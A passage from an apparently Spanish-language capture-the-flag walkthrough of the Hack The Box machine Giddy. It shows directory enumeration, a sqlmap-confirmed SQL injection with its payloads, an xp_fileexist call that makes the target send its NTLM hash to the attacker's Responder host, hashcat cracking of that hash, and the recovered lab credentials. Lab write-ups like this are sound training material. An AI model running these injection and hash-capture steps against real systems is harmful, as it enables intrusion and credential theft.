</span></span><span style="display:flex;"><span>X-Powered-By: ASP.NET
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Strict//EN&#34; &#34;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;html xmlns=&#34;http://www.w3.org/1999/xhtml&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;head&gt;
</span></span><span style="display:flex;"><span>&lt;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=iso-8859-1&#34; /&gt;
</span></span><span style="display:flex;"><span>&lt;title&gt;IIS Windows Server&lt;/title&gt;
</span></span><span style="display:flex;"><span>&lt;style type=&#34;text/css&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;!--
</span></span><span style="display:flex;"><span>body {
</span></span><span style="display:flex;"><span>	color:#000000;
</span></span><span style="display:flex;"><span>	background-color:#ffffff;
</span></span><span style="display:flex;"><span>	margin:0;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>#container {
</span></span><span style="display:flex;"><span>	margin-left:auto;
</span></span><span style="display:flex;"><span>	margin-right:auto;
</span></span><span style="display:flex;"><span>	text-align:center;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>a img {
</span></span><span style="display:flex;"><span>	border:none;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--&gt;
</span></span><span style="display:flex;"><span>&lt;/style&gt;
</span></span><span style="display:flex;"><span>&lt;/head&gt;
</span></span><span style="display:flex;"><span>&lt;body&gt;
</span></span><span style="display:flex;"><span>&lt;div id=&#34;container&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;a href=&#34;http://go.microsoft.com/fwlink/?linkid=66138&amp;amp;clcid=0x409&#34;&gt;&lt;img src=&#34;giddy.jpg&#34; alt=&#34;IIS&#34; width=&#34;960&#34; height=&#34;600&#34; /&gt;&lt;/a&gt;
</span></span><span style="display:flex;"><span>&lt;/div&gt;
</span></span><span style="display:flex;"><span>&lt;/body&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span></code></pre></div><p>Como veremos en un navegador, se nos da un link y una imagen de un perrito. Si realizamos la misma operación sobre https, tendremos el mismo resultado. Esto nos puede indicar que solo la capa de transporte cambia, pero es el mismo servidor web.</p>
<p>Busquemos más sobre estos servicios web.</p>
<h1 id="gobuster">Gobuster</h1>
<p>Ejecutamos gobuster con los parámetros tradicionales y menos extensos, pero se omiten los errores de conexión para no llenar de spam:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/friendzone$ ~/tools/gobuster -u http://10.10.10.104/ -w ~/git/payloads/owasp/dirbuster/directory-list-2.3-small.tx
</span></span><span style="display:flex;"><span>t -t 20 -x php,html,txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>Gobuster v2.0.1              OJ Reeves (@TheColonial)
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>[+] Mode         : dir
</span></span><span style="display:flex;"><span>[+] Url/Domain   : http://10.10.10.104/
</span></span><span style="display:flex;"><span>[+] Threads      : 20
</span></span><span style="display:flex;"><span>[+] Wordlist     : /home/xbytemx/git/payloads/owasp/dirbuster/directory-list-2.3-small.txt
</span></span><span style="display:flex;"><span>[+] Status codes : 200,204,301,302,307,403
</span></span><span style="display:flex;"><span>[+] Extensions   : php,html,txt
</span></span><span style="display:flex;"><span>[+] Timeout      : 10s
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>2019/02/15 11:31:01 Starting gobuster
</span></span><span style="display:flex;"><span>=====================================================
</span></span><span style="display:flex;"><span>/remote (Status: 302)
</span></span><span style="display:flex;"><span>/mvc (Status: 301)
</span></span></code></pre></div><p>Encontramos dos directorios, el primero llamado remote y el segundo llamada mvc</p>
<p>Remote
<img src="/img/htb-giddy/remote-root.png" alt="Home de /remote"></p>
<p>mvc
<img src="/img/htb-giddy/mvc-root.png" alt="Home de /mvc"></p>
<p>La primera resulta ser el portal de acceso remoto sobre powershell, mientras que la segunda parece alguna aplicación de productos de bicicleta. Si ponemos el mouse sobre alguno de estos objetos veremos que dentro de la URL esta harcodeado el numero de ID, por lo que probaremos con un SQLi.</p>
<h1 id="sqli">SQLi</h1>
<p>Iniciamos usando sqlmap sin opciones para analizar el resultado:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ sqlmap -u &#34;http://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=18&#34;
</span></span><span style="display:flex;"><span>        ___
</span></span><span style="display:flex;"><span>       __H__
</span></span><span style="display:flex;"><span> ___ ___[.]_____ ___ ___  {1.3.2#stable}
</span></span><span style="display:flex;"><span>|_ -| . [&#34;]     | .&#39;| . |
</span></span><span style="display:flex;"><span>|___|_  [&#34;]_|_|_|__,|  _|
</span></span><span style="display:flex;"><span>      |_|V...       |_|   http://sqlmap.org
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[*] starting @ 11:55:54 /2019-02-15/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[11:55:54] [INFO] testing connection to the target URL
</span></span><span style="display:flex;"><span>[11:55:54] [INFO] checking if the target is protected by some kind of WAF/IPS
</span></span><span style="display:flex;"><span>[11:55:55] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
</span></span><span style="display:flex;"><span>do you want sqlmap to try to detect backend WAF/IPS? [y/N]
</span></span><span style="display:flex;"><span>[11:55:59] [WARNING] dropping timeout to 10 seconds (i.e. &#39;--timeout=10&#39;)
</span></span><span style="display:flex;"><span>[11:55:59] [INFO] testing if the target URL content is stable
</span></span><span style="display:flex;"><span>[11:55:59] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user&#39;s manual paragraph &#39;Page comparison&#39;
</span></span><span style="display:flex;"><span>how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
</span></span><span style="display:flex;"><span>[11:56:18] [INFO] searching for dynamic content
</span></span><span style="display:flex;"><span>[11:56:18] [INFO] dynamic content marked for removal (1 region)
</span></span><span style="display:flex;"><span>[11:56:19] [INFO] testing if GET parameter &#39;ProductSubCategoryId&#39; is dynamic
</span></span><span style="display:flex;"><span>[11:56:19] [INFO] GET parameter &#39;ProductSubCategoryId&#39; appears to be dynamic
</span></span><span style="display:flex;"><span>[11:56:19] [INFO] heuristic (basic) test shows that GET parameter &#39;ProductSubCategoryId&#39; might be injectable (possible DBMS: &#39;Microsoft SQL Server&#39;)
</span></span><span style="display:flex;"><span>[11:56:19] [INFO] testing for SQL injection on GET parameter &#39;ProductSubCategoryId&#39;
</span></span><span style="display:flex;"><span>it looks like the back-end DBMS is &#39;Microsoft SQL Server&#39;. Do you want to skip test payloads specific for other DBMSes? [Y/n]
</span></span><span style="display:flex;"><span>for the remaining tests, do you want to include all tests for &#39;Microsoft SQL Server&#39; extending provided level (1) and risk (1) values? [Y/n]
</span></span><span style="display:flex;"><span>[11:56:29] [INFO] testing &#39;AND boolean-based blind - WHERE or HAVING clause&#39;
</span></span><span style="display:flex;"><span>[11:56:30] [WARNING] reflective value(s) found and filtering out
</span></span><span style="display:flex;"><span>[11:56:30] [INFO] GET parameter &#39;ProductSubCategoryId&#39; appears to be &#39;AND boolean-based blind - WHERE or HAVING clause&#39; injectable
</span></span><span style="display:flex;"><span>[11:56:30] [INFO] testing &#39;Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)&#39;
</span></span><span style="display:flex;"><span>[11:56:30] [INFO] GET parameter &#39;ProductSubCategoryId&#39; is &#39;Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)&#39; injectable
</span></span><span style="display:flex;"><span>[11:56:30] [INFO] testing &#39;Microsoft SQL Server/Sybase inline queries&#39;
</span></span><span style="display:flex;"><span>[11:56:31] [INFO] GET parameter &#39;ProductSubCategoryId&#39; is &#39;Microsoft SQL Server/Sybase inline queries&#39; injectable
</span></span><span style="display:flex;"><span>[11:56:31] [INFO] testing &#39;Microsoft SQL Server/Sybase stacked queries (comment)&#39;
</span></span><span style="display:flex;"><span>[11:56:31] [WARNING] time-based comparison requires larger statistical model, please wait................... (done)
</span></span><span style="display:flex;"><span>[11:56:45] [INFO] GET parameter &#39;ProductSubCategoryId&#39; appears to be &#39;Microsoft SQL Server/Sybase stacked queries (comment)&#39; injectable
</span></span><span style="display:flex;"><span>[11:56:45] [INFO] testing &#39;Microsoft SQL Server/Sybase time-based blind (IF)&#39;
</span></span><span style="display:flex;"><span>[11:56:56] [INFO] GET parameter &#39;ProductSubCategoryId&#39; appears to be &#39;Microsoft SQL Server/Sybase time-based blind (IF)&#39; injectable
</span></span><span style="display:flex;"><span>[11:56:56] [INFO] testing &#39;Generic UNION query (NULL) - 1 to 20 columns&#39;
</span></span><span style="display:flex;"><span>[11:56:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
</span></span><span style="display:flex;"><span>[11:56:56] [INFO] &#39;ORDER BY&#39; technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
</span></span><span style="display:flex;"><span>[11:56:57] [INFO] target URL appears to have 25 columns in query
</span></span><span style="display:flex;"><span>[11:56:58] [WARNING] combined UNION/error-based SQL injection case found on column 4. sqlmap will try to find another column with better characteristics
</span></span><span style="display:flex;"><span>[11:56:59] [WARNING] combined UNION/error-based SQL injection case found on column 1. sqlmap will try to find another column with better characteristics
</span></span><span style="display:flex;"><span>[11:57:00] [WARNING] combined UNION/error-based SQL injection case found on column 20. sqlmap will try to find another column with better characteristics
</span></span><span style="display:flex;"><span>GET parameter &#39;ProductSubCategoryId&#39; is vulnerable. Do you want to keep testing the others (if any)? [y/N]
</span></span><span style="display:flex;"><span>sqlmap identified the following injection point(s) with a total of 75 HTTP(s) requests:
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>Parameter: ProductSubCategoryId (GET)
</span></span><span style="display:flex;"><span>    Type: boolean-based blind
</span></span><span style="display:flex;"><span>    Title: AND boolean-based blind - WHERE or HAVING clause
</span></span><span style="display:flex;"><span>    Payload: ProductSubCategoryId=18 AND 9242=9242
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Type: error-based
</span></span><span style="display:flex;"><span>    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
</span></span><span style="display:flex;"><span>    Payload: ProductSubCategoryId=18 AND 6303 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (6303=6303) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(98)+CHAR(113)+CHAR(113)))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Type: inline query
</span></span><span style="display:flex;"><span>    Title: Microsoft SQL Server/Sybase inline queries
</span></span><span style="display:flex;"><span>    Payload: ProductSubCategoryId=(SELECT CHAR(113)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (7727=7727) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(98)+CHAR(113)+CHAR(113))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Type: stacked queries
</span></span><span style="display:flex;"><span>    Title: Microsoft SQL Server/Sybase stacked queries (comment)
</span></span><span style="display:flex;"><span>    Payload: ProductSubCategoryId=18;WAITFOR DELAY &#39;0:0:5&#39;--
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Type: AND/OR time-based blind
</span></span><span style="display:flex;"><span>    Title: Microsoft SQL Server/Sybase time-based blind (IF)
</span></span><span style="display:flex;"><span>    Payload: ProductSubCategoryId=18 WAITFOR DELAY &#39;0:0:5&#39;
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>[11:57:43] [INFO] testing Microsoft SQL Server
</span></span><span style="display:flex;"><span>[11:57:43] [INFO] confirming Microsoft SQL Server
</span></span><span style="display:flex;"><span>[11:57:45] [INFO] the back-end DBMS is Microsoft SQL Server
</span></span><span style="display:flex;"><span>web server operating system: Windows 10 or 2016
</span></span><span style="display:flex;"><span>web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 10.0
</span></span><span style="display:flex;"><span>back-end DBMS: Microsoft SQL Server 2016
</span></span><span style="display:flex;"><span>[11:57:45] [WARNING] HTTP error codes detected during run:
</span></span><span style="display:flex;"><span>500 (Internal Server Error) - 49 times
</span></span><span style="display:flex;"><span>[11:57:45] [INFO] fetched data logged to text files under &#39;/home/xbytemx/.sqlmap/output/10.10.10.104&#39;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[*] ending @ 11:57:45 /2019-02-15/
</span></span></code></pre></div><p>El resumen es parámetro ProductSubCategoryId es susceptible a SQLi, la DB es Microsoft SQL Server 2016, y tenemos bastantes puntos de inyección como se ve en la parte superior.</p>
<p>Lo siguiente que hice fue sacar a los usuarios, las tablas y los passwords, lo resumo con los resultados:</p>
<p><code>sqlmap -u &quot;http://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=18&quot; --table --users --passwords</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[11:58:04] [INFO] fetching database users
</span></span><span style="display:flex;"><span>[11:58:04] [INFO] used SQL query returns 3 entries
</span></span><span style="display:flex;"><span>[11:58:05] [INFO] retrieved: &#39;BUILTIN\\Users&#39;
</span></span><span style="display:flex;"><span>[11:58:05] [INFO] retrieved: &#39;giddy\\stacy&#39;
</span></span><span style="display:flex;"><span>[11:58:05] [INFO] retrieved: &#39;sa&#39;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[11:58:05] [INFO] fetching database users password hashes
</span></span><span style="display:flex;"><span>[11:58:06] [WARNING] the SQL query provided does not return any output
</span></span><span style="display:flex;"><span>[11:58:06] [WARNING] in case of continuous data retrieval problems you are advised to try a switch &#39;--no-cast&#39; or switch &#39;--hex&#39;
</span></span><span style="display:flex;"><span>[11:58:06] [WARNING] the SQL query provided does not return any output
</span></span><span style="display:flex;"><span>[11:58:06] [INFO] fetching database users
</span></span><span style="display:flex;"><span>[11:58:06] [INFO] used SQL query returns 3 entries
</span></span><span style="display:flex;"><span>[11:58:06] [INFO] resumed: &#39;BUILTIN\\Users&#39;
</span></span><span style="display:flex;"><span>[11:58:06] [INFO] resumed: &#39;giddy\\stacy&#39;
</span></span><span style="display:flex;"><span>[11:58:06] [INFO] resumed: &#39;sa&#39;
</span></span><span style="display:flex;"><span>[11:58:19] [ERROR] unable to retrieve the password hashes for the database users (probably because the DBMS current user has no read privileges over the relevant system database table(s))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[11:58:19] [INFO] fetching database names
</span></span><span style="display:flex;"><span>[11:58:20] [INFO] used SQL query returns 5 entries
</span></span><span style="display:flex;"><span>[11:58:20] [INFO] retrieved: &#39;Injection&#39;
</span></span><span style="display:flex;"><span>[11:58:20] [INFO] retrieved: &#39;master&#39;
</span></span><span style="display:flex;"><span>[11:58:20] [INFO] retrieved: &#39;model&#39;
</span></span><span style="display:flex;"><span>[11:58:21] [INFO] retrieved: &#39;msdb&#39;
</span></span><span style="display:flex;"><span>[11:58:21] [INFO] retrieved: &#39;tempdb&#39;
</span></span><span style="display:flex;"><span>[11:58:21] [INFO] fetching tables for databases: Injection, master, model, msdb, tempdb
</span></span><span style="display:flex;"><span>Database: Injection
</span></span><span style="display:flex;"><span>[13 tables]
</span></span><span style="display:flex;"><span>+----------------------------------------------------------+
</span></span><span style="display:flex;"><span>| Applications                                             |
</span></span><span style="display:flex;"><span>| CreditCard                                               |
</span></span><span style="display:flex;"><span>| Memberships                                              |
</span></span><span style="display:flex;"><span>| Product                                                  |
</span></span><span style="display:flex;"><span>| ProductCategory                                          |
</span></span><span style="display:flex;"><span>| ProductSubcategory                                       |
</span></span><span style="display:flex;"><span>| Profiles                                                 |
</span></span><span style="display:flex;"><span>| Roles                                                    |
</span></span><span style="display:flex;"><span>| Users                                                    |
</span></span><span style="display:flex;"><span>| UsersInRoles                                             |
</span></span><span style="display:flex;"><span>| UsersOpenAuthAccounts                                    |
</span></span><span style="display:flex;"><span>| UsersOpenAuthData                                        |
</span></span><span style="display:flex;"><span>| __MigrationHistory                                       |
</span></span><span style="display:flex;"><span>+----------------------------------------------------------+
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Database: master
</span></span><span style="display:flex;"><span>[488 tables]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Database: msdb
</span></span><span style="display:flex;"><span>[23 tables]
</span></span><span style="display:flex;"><span>+----------------------------------------------------------+
</span></span><span style="display:flex;"><span>| autoadmin_backup_configuration_summary                   |
</span></span><span style="display:flex;"><span>| backupfile                                               |
</span></span><span style="display:flex;"><span>| backupmediafamily                                        |
</span></span><span style="display:flex;"><span>| backupmediaset                                           |
</span></span><span style="display:flex;"><span>| backupset                                                |
</span></span><span style="display:flex;"><span>| dm_hadr_automatic_seeding_history                        |
</span></span><span style="display:flex;"><span>| logmarkhistory                                           |
</span></span><span style="display:flex;"><span>| restorefile                                              |
</span></span><span style="display:flex;"><span>| restorefilegroup                                         |
</span></span><span style="display:flex;"><span>| restorehistory                                           |
</span></span><span style="display:flex;"><span>| suspect_pages                                            |
</span></span><span style="display:flex;"><span>| sysdac_instances                                         |
</span></span><span style="display:flex;"><span>| syspolicy_conditions                                     |
</span></span><span style="display:flex;"><span>| syspolicy_configuration                                  |
</span></span><span style="display:flex;"><span>| syspolicy_object_sets                                    |
</span></span><span style="display:flex;"><span>| syspolicy_policies                                       |
</span></span><span style="display:flex;"><span>| syspolicy_policy_categories                              |
</span></span><span style="display:flex;"><span>| syspolicy_policy_category_subscriptions                  |
</span></span><span style="display:flex;"><span>| syspolicy_policy_execution_history                       |
</span></span><span style="display:flex;"><span>| syspolicy_policy_execution_history_details               |
</span></span><span style="display:flex;"><span>| syspolicy_system_health_state                            |
</span></span><span style="display:flex;"><span>| syspolicy_target_set_levels                              |
</span></span><span style="display:flex;"><span>| syspolicy_target_sets                                    |
</span></span><span style="display:flex;"><span>+----------------------------------------------------------+
</span></span></code></pre></div><p>Después de buscar y buscar dentro de la DB, opte por un approach diferente&hellip; Probar que puede ejecutarse desde este proceso dentro del sistema operativo. Claro lo mas evidente fue usar &ndash;os-cmd, pero este fallo. No cerrándome a este resultado, abrí google e investigue un poco, llegando a varios artículos interesantes:</p>
<ul>
<li><a href="https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-user-impersonation">Hacking SQL Server Stored Procedures</a></li>
<li><a href="https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/">Executing SMB Relay Attacks via SQL Server using Metasploit</a></li>
<li><a href="https://www.exploit-db.com/papers/12975">Full MSSQL Injection PWNage, More Dangerous SQL Injection Attack</a></li>
</ul>
<p>Esto me genero la idea de que si era posible lanzar xp_dirtree o xp_fileexist hacia responder, podríamos capturar el hash.</p>
<h1 id="exec-xp_fileexist">exec xp_fileexist</h1>
<p>Iniciamos por abrir en una consola Responder con <code>python Responder.py -wrf -I tun0</code>. En otra consola iniciamos sqlmap en modo sql-shell y ejecutamos el exec:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ sqlmap -u &#34;http://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=18&#34; --sql-shell
</span></span><span style="display:flex;"><span>        ___
</span></span><span style="display:flex;"><span>       __H__
</span></span><span style="display:flex;"><span> ___ ___[&#34;]_____ ___ ___  {1.3.2#stable}
</span></span><span style="display:flex;"><span>|_ -| . [.]     | .&#39;| . |
</span></span><span style="display:flex;"><span>|___|_  [)]_|_|_|__,|  _|
</span></span><span style="display:flex;"><span>      |_|V...       |_|   http://sqlmap.org
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[*] starting @ 14:02:53 /2019-02-15/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[14:02:53] [INFO] resuming back-end DBMS &#39;microsoft sql server&#39;
</span></span><span style="display:flex;"><span>[14:02:53] [INFO] testing connection to the target URL
</span></span><span style="display:flex;"><span>[14:02:53] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
</span></span><span style="display:flex;"><span>sqlmap resumed the following injection point(s) from stored session:
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>Parameter: ProductSubCategoryId (GET)
</span></span><span style="display:flex;"><span>    Type: boolean-based blind
</span></span><span style="display:flex;"><span>    Title: AND boolean-based blind - WHERE or HAVING clause
</span></span><span style="display:flex;"><span>    Payload: ProductSubCategoryId=18 AND 9242=9242
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Type: error-based
</span></span><span style="display:flex;"><span>    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
</span></span><span style="display:flex;"><span>    Payload: ProductSubCategoryId=18 AND 6303 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (6303=6303) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(98)+CHAR(113)+CHAR(113)))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Type: inline query
</span></span><span style="display:flex;"><span>    Title: Microsoft SQL Server/Sybase inline queries
</span></span><span style="display:flex;"><span>    Payload: ProductSubCategoryId=(SELECT CHAR(113)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (7727=7727) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(98)+CHAR(113)+CHAR(113))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Type: stacked queries
</span></span><span style="display:flex;"><span>    Title: Microsoft SQL Server/Sybase stacked queries (comment)
</span></span><span style="display:flex;"><span>    Payload: ProductSubCategoryId=18;WAITFOR DELAY &#39;0:0:5&#39;--
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Type: AND/OR time-based blind
</span></span><span style="display:flex;"><span>    Title: Microsoft SQL Server/Sybase time-based blind (IF)
</span></span><span style="display:flex;"><span>    Payload: ProductSubCategoryId=18 WAITFOR DELAY &#39;0:0:5&#39;
</span></span><span style="display:flex;"><span>---
</span></span><span style="display:flex;"><span>[14:02:53] [INFO] the back-end DBMS is Microsoft SQL Server
</span></span><span style="display:flex;"><span>web server operating system: Windows 10 or 2016
</span></span><span style="display:flex;"><span>web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 10.0
</span></span><span style="display:flex;"><span>back-end DBMS: Microsoft SQL Server 2016
</span></span><span style="display:flex;"><span>[14:02:53] [INFO] calling Microsoft SQL Server shell. To quit type &#39;x&#39; or &#39;q&#39; and press ENTER
</span></span><span style="display:flex;"><span>sql-shell&gt; exec master..xp_fileexist &#39;\\10.10.13.121\miau&#39;-- -
</span></span><span style="display:flex;"><span>exec master..xp_fileexist &#39;\\10.10.13.121\miau&#39;-- -:    &#39;NULL&#39;
</span></span></code></pre></div><p>En nuestra consola de responder veremos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[+] Listening for events...
</span></span><span style="display:flex;"><span>[SMB] NTLMv2-SSP Client   : 10.10.10.104
</span></span><span style="display:flex;"><span>[SMB] NTLMv2-SSP Username : GIDDY\Stacy
</span></span><span style="display:flex;"><span>[SMB] NTLMv2-SSP Hash     : Stacy::GIDDY:1122334455667788:B9F9548A74894D13A0FC9DCCAD19ED75:0101000000000000300341DE69C5D401E59EA796893B59570000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000000000000300000E520622AF481D040F54B36E7D48F871AAABD6B2FEF077311B50C0859DD35C8A90A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310033002E003100320031000000000000000000
</span></span><span style="display:flex;"><span>[SMB] Requested Share     : \\10.10.13.121\IPC$
</span></span><span style="display:flex;"><span>[*] Skipping previously captured hash for GIDDY\Stacy
</span></span><span style="display:flex;"><span>[SMB] Requested Share     : \\10.10.13.121\TEST
</span></span></code></pre></div><p>Yei, ya tenemos el hash del usuario stacy. Ahora pasemos a romper la hash.</p>
<h1 id="hashcat">hashcat</h1>
<p>Usando Hashcat, rompemos la hash que acabamos de obtener. El diccionario usado fue rockyou.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~$ hashcat -a 0 -m 5600 &#34;Stacy::GIDDY:1122334455667788:B9F9548A74894D13A0FC9DCCAD19ED75:0101000000000000300341DE69C5D401E59EA796893B59570000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000000000000300000E520622AF481D040F54B36E7D48F871AAABD6B2FEF077311B50C0859DD35C8A90A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310033002E003100320031000000000000000000&#34; ~/wl/rockyou.txt
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>STACY::GIDDY:1122334455667788:b9f9548a74894d13a0fc9dccad19ed75:0101000000000000300341de69c5d401e59ea796893b59570000000002000a0053004d0042003100320001000a0053004d0042003100320004000a0053004d0042003100320003000a0053004d0042003100320005000a0053004d004200310032000800300030000000000000000000000000300000e520622af481d040f54b36e7d48f871aaabd6b2fef077311b50c0859dd35c8a90a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310033002e003100320031000000000000000000:xNnWo6272k7x
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Session..........: hashcat
</span></span><span style="display:flex;"><span>Status...........: Cracked
</span></span><span style="display:flex;"><span>Hash.Type........: NetNTLMv2
</span></span><span style="display:flex;"><span>Hash.Target......: STACY::GIDDY:1122334455667788:b9f9548a74894d13a0fc9...000000
</span></span><span style="display:flex;"><span>Time.Started.....: Fri Feb 15 14:13:35 2019 (3 secs)
</span></span><span style="display:flex;"><span>Time.Estimated...: Fri Feb 15 14:13:38 2019 (0 secs)
</span></span><span style="display:flex;"><span>Guess.Base.......: File (/home/xbytemx/wl/rockyou.txt)
</span></span><span style="display:flex;"><span>Guess.Queue......: 1/1 (100.00%)
</span></span><span style="display:flex;"><span>Speed.#1.........:   816.2 kH/s (4.41ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
</span></span><span style="display:flex;"><span>Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
</span></span><span style="display:flex;"><span>Progress.........: 2691072/14344384 (18.76%)
</span></span><span style="display:flex;"><span>Rejected.........: 0/2691072 (0.00%)
</span></span><span style="display:flex;"><span>Restore.Point....: 2686976/14344384 (18.73%)
</span></span><span style="display:flex;"><span>Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
</span></span><span style="display:flex;"><span>Candidates.#1....: xamula -&gt; x21blfam
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Started: Fri Feb 15 14:13:25 2019
</span></span><span style="display:flex;"><span>Stopped: Fri Feb 15 14:13:40 2019
</span></span></code></pre></div><h1 id="creds">Creds</h1>
<p>Las credenciales de stacy son:</p>
<blockquote>
<p>stacy / xNnWo6272k7x</p>
</blockquote>
<h1 id="logging-as-stacy">Logging as stacy</h1>
<p>Aquí comenzó la travesía mas incomoda, ya que se podía acceder a la maquina por el portal de remote, pero estaba limitado a dos sesiones para stacy, por lo que había que esperar a que se soltara la sesión. Esto me llevo a buscar alternativas y me encontré con una bastante coqueta, usar una instancia de docker con powershell modificado para correr PSSesion soportando autenticación sobre NTLM. Esto es bastante ventajoso, ya que como recordamos el puerto WinRM, 5985/tcp, se encuentra abierto.</p>
<p>Un poco mas de información al respecto puede ser consultado <a href="https://blog.quickbreach.io/ps-remote-from-linux-to-windows/">aquí</a>.</p>
